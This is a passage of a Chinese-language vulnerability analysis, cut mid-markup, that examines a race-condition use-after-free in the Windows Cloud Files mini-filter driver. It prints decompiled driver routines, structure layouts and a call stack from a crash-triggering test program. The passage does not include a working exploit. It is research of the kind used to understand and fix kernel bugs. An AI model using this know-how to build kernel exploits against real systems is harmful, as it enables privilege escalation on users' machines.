0x41414141...</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( result || (result = </span><span style="color: rgb(0, 92, 197);"><span leaf="">CldiStreamPrepareRequestForMoreProcessing</span></span><span leaf="">(Request)) != </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><br/><span leaf="">  {</span><br/><span leaf="">    p_InstanceRequestLinks = &amp;Request-&gt;InstanceRequestLinks;</span><br/><span leaf="">    Flink = Request-&gt;InstanceRequestLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Flink</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( Flink-&gt;Blink != &amp;Request-&gt;InstanceRequestLinks</span><br/><span leaf="">      || (Blink = Request-&gt;InstanceRequestLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Blink</span></span><span leaf="">, Blink-&gt;Flink != p_InstanceRequestLinks) )</span><br/><span leaf="">    {</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">__fastfail</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">3u</span></span><span leaf="">);</span><br/><span leaf="">    }</span><br/><span leaf="">    Blink-&gt;Flink = Flink;</span><br/><span leaf="">    Flink-&gt;Blink = Blink;</span><br/><span leaf="">    Request-&gt;InstanceRequestLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Blink</span></span><span leaf=""> = &amp;Request-&gt;InstanceRequestLinks;</span><br/><span leaf="">    p_InstanceRequestLinks-&gt;Flink = p_InstanceRequestLinks;</span><br/><span leaf="">  }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> result;</span><br/><span leaf="">}</span><span style="color: rgb(106, 115, 125);"><span leaf="">// </span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">CldStreamCdqREMOVE_IO</span></span><span leaf="">(PFLT_CALLBACK_DATA_QUEUE Cbdq, PFLT_CALLBACK_DATA Cbd)</span><br/><span leaf="">{</span><br/><span leaf="">    p_QueueLinks = &amp;Cbd-&gt;QueueLinks;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">for</span></span><span leaf=""> ( queuedRequestLink = Cbd-&gt;QueueLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Flink</span></span><span leaf="">;</span><br/><span leaf="">        queuedRequestLink != p_QueueLinks;</span><br/><span leaf="">        queuedRequestLink = </span><span style="color: rgb(0, 92, 197);"><span leaf="">ADJ</span></span><span leaf="">(ptr: queuedRequestLink)-&gt;NonCdqCompletionLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Flink</span></span><span leaf=""> )</span><br/><span leaf="">  {</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">CldiStreamPrepareRequestForCdqCompletion</span></span><span leaf="">(Request: </span><span style="color: rgb(0, 92, 197);"><span leaf="">ADJ</span></span><span leaf="">(ptr: queuedRequestLink));</span><br/><span leaf="">  }</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">经过进一步调查，我发现由 </span><strong><span leaf="">FLTMGR.SYS</span></strong><span leaf="">分配的池中的 </span><strong><span leaf="">Callback Data Pointer</span></strong><span leaf="">（回调数据指针，简称 CBD）存在释放后使用（Use-After-Free）漏洞。由于这是一个竞态条件导致的 UAF，我将概述两条导致崩溃的竞争路径。在继续之前，我们必须先理解我们要竞争的对象的本质。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当 </span><strong><span leaf="">Cloud Files Mini Filter Driver</span></strong><span leaf="">（CLDFLT）通过 </span><strong><span leaf="">FltRegisterFilter</span></strong><span leaf="">（FLTMGR）注册过滤层时，FLTMGR 会初始化一个 CLDFLT 实例，并允许注册各种 I/O 请求处理程序，例如 Insert IO 和 Cancel IO。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">NTSTATUS FLTAPI </span><span style="color: rgb(111, 66, 193);"><span leaf="">FltCbdqInitialize</span></span><span leaf="">(</span><br/><span leaf="">  [in]      PFLT_INSTANCE                                 Instance,</span><br/><span leaf="">  [in, out] PFLT_CALLBACK_DATA_QUEUE                      Cbdq,</span><br/><span leaf="">  [in]      PFLT_CALLBACK_DATA_QUEUE_INSERT_IO            CbdqInsertIo,</span><br/><span leaf="">  [in]      PFLT_CALLBACK_DATA_QUEUE_REMOVE_IO            CbdqRemoveIo,</span><br/><span leaf="">  [in]      PFLT_CALLBACK_DATA_QUEUE_PEEK_NEXT_IO         CbdqPeekNextIo,</span><br/><span leaf="">  [in]      PFLT_CALLBACK_DATA_QUEUE_ACQUIRE              CbdqAcquire,</span><br/><span leaf="">  [in]      PFLT_CALLBACK_DATA_QUEUE_RELEASE              CbdqRelease,</span><br/><span leaf="">  [in]      PFLT_CALLBACK_DATA_QUEUE_COMPLETE_CANCELED_IO CbdqCompleteCanceledIo</span><br/><span leaf="">);</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">FltCbdqInitialize</span></strong><span leaf="">仅仅初始化了管理回调数据队列（CBDQ）中 IRP 的 CSQ（取消安全队列）。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">NTSTATUS __stdcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">FltCbdqInitialize</span></span><span leaf="">(</span><br/><span leaf="">        PFLT_INSTANCE Instance,</span><br/><span leaf="">        PFLT_CALLBACK_DATA_QUEUE Cbdq,</span><br/><span leaf="">        PFLT_CALLBACK_DATA_QUEUE_INSERT_IO CbdqInsertIo,</span><br/><span leaf="">        PFLT_CALLBACK_DATA_QUEUE_REMOVE_IO CbdqRemoveIo,</span><br/><span leaf="">        PFLT_CALLBACK_DATA_QUEUE_PEEK_NEXT_IO CbdqPeekNextIo,</span><br/><span leaf="">        PFLT_CALLBACK_DATA_QUEUE_ACQUIRE CbdqAcquire,</span><br/><span leaf="">        PFLT_CALLBACK_DATA_QUEUE_RELEASE CbdqRelease,</span><br/><span leaf="">        PFLT_CALLBACK_DATA_QUEUE_COMPLETE_CANCELED_IO CbdqCompleteCanceledIo)</span><br/><span leaf="">{</span><br/><span leaf="">  Cbdq-&gt;PeekNextIo = CbdqPeekNextIo;</span><br/><span leaf="">  Cbdq-&gt;Acquire = CbdqAcquire;</span><br/><span leaf="">  Cbdq-&gt;Release = CbdqRelease;</span><br/><span leaf="">  Cbdq-&gt;CompleteCanceledIo = CbdqCompleteCanceledIo;</span><br/><span leaf="">  Cbdq-&gt;Instance = Instance;</span><br/><span leaf="">  Cbdq-&gt;InsertIo = CbdqInsertIo;</span><br/><span leaf="">  Cbdq-&gt;RemoveIo = CbdqRemoveIo;</span><br/><span leaf="">  Cbdq-&gt;Flags = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">IoCsqInitializeEx</span></span><span leaf="">(</span><br/><span leaf="">           Csq: &amp;Cbdq-&gt;Csq,</span><br/><span leaf="">           CsqInsertIrp: FltpInsertIrp,</span><br/><span leaf="">           CsqRemoveIrp: FltpRemoveIrp,</span><br/><span leaf="">           CsqPeekNextIrp: FltpPeekNextIrp,</span><br/><span leaf="">           CsqAcquireLock: FltpAcquireLock,</span><br/><span leaf="">           CsqReleaseLock: FltpReleaseLock,</span><br/><span leaf="">           CsqCompleteCanceledIrp: FltpCompleteCanceledIrp);</span><br/><span leaf="">}</span><span style="color: rgb(106, 115, 125);"><span leaf="">////</span><br/></span><span leaf="">NTSTATUS __stdcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">IoCsqInitializeEx</span></span><span leaf="">(</span><br/><span leaf="">        PIO_CSQ Csq,</span><br/><span leaf="">        PIO_CSQ_INSERT_IRP_EX CsqInsertIrp,</span><br/><span leaf="">        PIO_CSQ_REMOVE_IRP CsqRemoveIrp,</span><br/><span leaf="">        PIO_CSQ_PEEK_NEXT_IRP CsqPeekNextIrp,</span><br/><span leaf="">        PIO_CSQ_ACQUIRE_LOCK CsqAcquireLock,</span><br/><span leaf="">        PIO_CSQ_RELEASE_LOCK CsqReleaseLock,</span><br/><span leaf="">        PIO_CSQ_COMPLETE_CANCELED_IRP CsqCompleteCanceledIrp)</span><br/><span leaf="">{</span><br/><span leaf="">  Csq-&gt;ReservePointer = </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">;</span><br/><span leaf="">  Csq-&gt;CsqAcquireLock = CsqAcquireLock;</span><br/><span leaf="">  Csq-&gt;CsqReleaseLock = CsqReleaseLock;</span><br/><span leaf="">  Csq-&gt;CsqCompleteCanceledIrp = CsqCompleteCanceledIrp;</span><br/><span leaf="">  Csq-&gt;CsqInsertIrp = (PIO_CSQ_INSERT_IRP)CsqInsertIrp;</span><br/><span leaf="">  Csq-&gt;CsqRemoveIrp = CsqRemoveIrp;</span><br/><span leaf="">  Csq-&gt;CsqPeekNextIrp = CsqPeekNextIrp;</span><br/><span leaf="">  Csq-&gt;Type = </span><span style="color: rgb(0, 92, 197);"><span leaf="">3</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">HsmFltInstanceSetup</span></strong><span leaf="">-&gt; </span><strong><span leaf="">HsmpCtxCreateInstanceContext</span></strong><span leaf="">-&gt; </span><strong><span leaf="">CldHsmCreateInstanceContext</span></strong><span leaf="">。在 FLTMGR 初始化 CLDFLT 实例的过程中，每创建一个实例都会关联一个对应的后端实例。该后端上下文包含一个名为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CallbackDataQueue</span></code><span leaf="">的字段（在以下代码片段中称为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">StreamCallbackDataQueue</span></code><span leaf="">）。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">NTSTATUS __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">CldHsmCreateInstanceContext</span></span><span leaf="">(</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _CLDI_INSTANCE_CONTEXT_VIEW *InstanceContext,</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _CLDI_BACKEND_INSTANCE_CONTEXT **OutBackendInstanceContext)</span><br/><span leaf="">{</span><br/><span leaf="">  BackendInstanceContextRaw = </span><span style="color: rgb(0, 92, 197);"><span leaf="">ExAllocatePool2</span></span><span leaf="">(a1: </span><span style="color: rgb(0, 92, 197);"><span leaf="">64</span></span><span leaf="">, a2: </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x178</span></span><span leaf="">, a3: </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;cIlC&#39;</span></span><span leaf="">);</span><br/><span leaf="">  BackendInstanceContext = BackendInstanceContextRaw;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( BackendInstanceContextRaw != nullptr )</span><br/><span leaf="">  {</span><br/><span leaf="">    BackendInstanceContextRaw-&gt;OwnerInstanceContext = InstanceContext;</span><br/><span leaf="">    BackendInstanceContextRaw-&gt;SyncRootLock.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Value</span></span><span leaf=""> = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">RtlInitializeGenericTableAvl</span></span><span leaf="">(</span><br/><span leaf="">      Table: &amp;BackendInstanceContextRaw-&gt;SyncRootTable,</span><br/><span leaf="">      CompareRoutine: CldiSyncRootTableCompare,</span><br/><span leaf="">      AllocateRoutine: CldiSyncRootTableAllocate,</span><br/><span leaf="">      FreeRoutine: CldiSyncRootTableFree,</span><br/><span leaf="">      TableContext: nullptr);</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">RtlInitializeUnicodePrefix</span></span><span leaf="">(PrefixTable: &amp;BackendInstanceContext-&gt;SyncRootPrefixTable);</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">ExInitializeResourceLite</span></span><span leaf="">(Resource: &amp;BackendInstanceContext-&gt;Resource);</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">FltCbdqInitialize</span></span><span leaf="">(</span><br/><span leaf="">      Instance: BackendInstanceContext-&gt;OwnerInstanceContext-&gt;RuntimeView.</span><span style="color: rgb(36, 41, 46);"><span leaf="">RuntimeContext</span></span><span leaf="">,</span><br/><span leaf="">      Cbdq: &amp;BackendInstanceContext-&gt;StreamCallbackDataQueue, </span><span style="color: rgb(106, 115, 125);"><span leaf="">// here</span><br/></span><span leaf="">      CbdqInsertIo: CldStreamCdqINSERT_IO,</span><br/><span leaf="">      CbdqRemoveIo: CldStreamCdqREMOVE_IO,</span><br/><span leaf="">      CbdqPeekNextIo: HsmiDehydrationCsqPEEK_NEXT_IO,</span><br/><span leaf="">      CbdqAcquire: CldStreamCdqACQUIRE,</span><br/><span leaf="">      CbdqRelease: CldStreamCdqRELEASE,</span><br/><span leaf="">      CbdqCompleteCanceledIo: CldStreamCdqCOMPLETE_CANCELED_IO);</span><br/><span leaf="">    *OutBackendInstanceContext = BackendInstanceContext;</span><br/><span leaf="">  }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><br/><span leaf="">  {</span><br/><span leaf="">    ...</span><br/><span leaf="">  }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> Status;</span><br/><span leaf="">}</span></code></pre><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">要理解这个竞态，需要牢记一点：这是一个与锁使用相关的 bug；具体来说，需要关注 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CldStreamCdqACQUIRE</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CldStreamCdqRELEASE</span></code><span leaf="">这两个函数。</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">StreamCallbackDataQueue</span></code><span leaf="">用作通过 CLDFLT 对文件执行读写操作时过滤请求的回调数据。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">每当 CLDFLT 发生读写文件请求时，FLTMGR 会生成一个 CallbackData（CBD），随后将其链接到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">StreamCallbackDataQueue</span></code><span leaf="">（CBDQ）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">每个 CallbackData 条目都有一个名为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">QueueLink</span></code><span leaf="">的字段，该字段会与 CLDFLT 的所有请求对象链接：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _FLT_CALLBACK_DATA</span><br/><span leaf="">{</span><br/><span leaf="">  FLT_CALLBACK_DATA_FLAGS Flags;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span leaf=""> PETHREAD Thread;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span leaf=""> PFLT_IO_PARAMETER_BLOCK Iopb;</span><br/><span leaf="">  IO_STATUS_BLOCK IoStatus;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _FLT_TAG_DATA_BUFFER *TagData;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">union</span></span><br/><span leaf="">  {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><br/><span leaf="">    {</span><br/><span leaf="">      LIST_ENTRY QueueLinks;</span><br/><span leaf="">      PVOID QueueContext[</span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">];</span><br/><span leaf="">    };</span><br/><span leaf="">    PVOID FilterContext[</span><span style="color: rgb(0, 92, 197);"><span leaf="">4</span></span><span leaf="">];</span><br/><span leaf="">  };</span><br/><span leaf="">  KPROCESSOR_MODE RequestorMode;</span><br/><span leaf="">};</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">而 CLDFLT 的请求对象由 </span><strong><span leaf="">CldiStreamCdqINSERT_IO</span></strong><span leaf="">分配并链接。同样，当读写请求完成时，必须将其从队列中移除。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">NTSTATUS __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">CldiStreamCdqINSERT_IO</span></span><span leaf="">(</span><br/><span leaf="">        PFLT_CALLBACK_DATA_QUEUE Cbdq,</span><br/><span leaf="">        PFLT_CALLBACK_DATA Cbd,</span><br/><span leaf="">        CLDI_STREAM_REQUEST *Request)</span><br/><span leaf="">{</span><br/><span leaf="">  streamContextView = Request-&gt;StreamContext;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( Cbd )</span><br/><span leaf="">  {</span><br/><span leaf="">    p_NonCdqCompletionLinks = &amp;Request-&gt;NonCdqCompletionLinks;</span><br/><span leaf="">    Blink = Cbd-&gt;QueueLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Blink</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( Blink-&gt;Flink != &amp;Cbd-&gt;QueueLinks )</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_5;</span><br/><span leaf="">    p_NonCdqCompletionLinks-&gt;Flink = &amp;Cbd-&gt;QueueLinks;</span><br/><span leaf="">    p_NonCdqCompletionLinks-&gt;Blink = Blink;</span><br/><span leaf="">    Blink-&gt;Flink = p_NonCdqCompletionLinks;</span><br/><span leaf="">    Cbd-&gt;QueueLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Blink</span></span><span leaf=""> = p_NonCdqCompletionLinks;</span><br/><span leaf="">    Request-&gt;QueueEpoch = Cbd;</span><br/><span leaf="">  }</span><br/><span leaf="">  ...</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下是调用栈示例：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">00 cldflt!CldStreamCdqINSERT_IO</span><br/><span leaf="">01 FLTMGR!FltpInsertIrp+0x25</span><br/><span leaf="">02 nt!IoCsqInsertIrpEx+0xa6</span><br/><span leaf="">03 FLTMGR!FltCbdqInsertIo+0x50</span><br/><span leaf="">04 cldflt!CldiStreamInsertIntoCancelSafeQueue+0xf2</span><br/><span leaf="">05 cldflt!CldHsmHydratePlaceholder+0xc99</span><br/><span leaf="">06 cldflt!HsmiRecallInitiateHydration+0x92b</span><br/><span leaf="">07 cldflt!HsmpRecallInitiateHydrationEx+0x805</span><br/><span leaf="">08 cldflt!HsmFltPreREAD+0x2bd</span><br/><span leaf="">09 FLTMGR!FltpPerformPreCallbacksWorker+0x58f</span><br/><span leaf="">0a FLTMGR!FltpPassThroughInternal+0xc0</span><br/><span leaf="">0b FLTMGR!FltpPassThrough+0x29f</span><br/><span leaf="">0c FLTMGR!FltpDispatch+0x264</span><br/><span leaf="">0d nt!IopfCallDriver+0x5b</span><br/><span leaf="">0e nt!IofCallDriver+0x13</span><br/><span leaf="">0f nt!IopSynchronousServiceTail+0x1c5</span><br/><span leaf="">10 nt!IopReadFile+0x7f8</span><br/><span leaf="">11 nt!NtReadFile+0xe6</span><br/><span leaf="">12 nt!KiSystemServiceCopyEnd+0x25</span><br/><span leaf="">13 ntdll!NtReadFile+0x14</span><br/><span leaf="">14 CRASH!CreateCldlftReadRequest+0x4d0</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 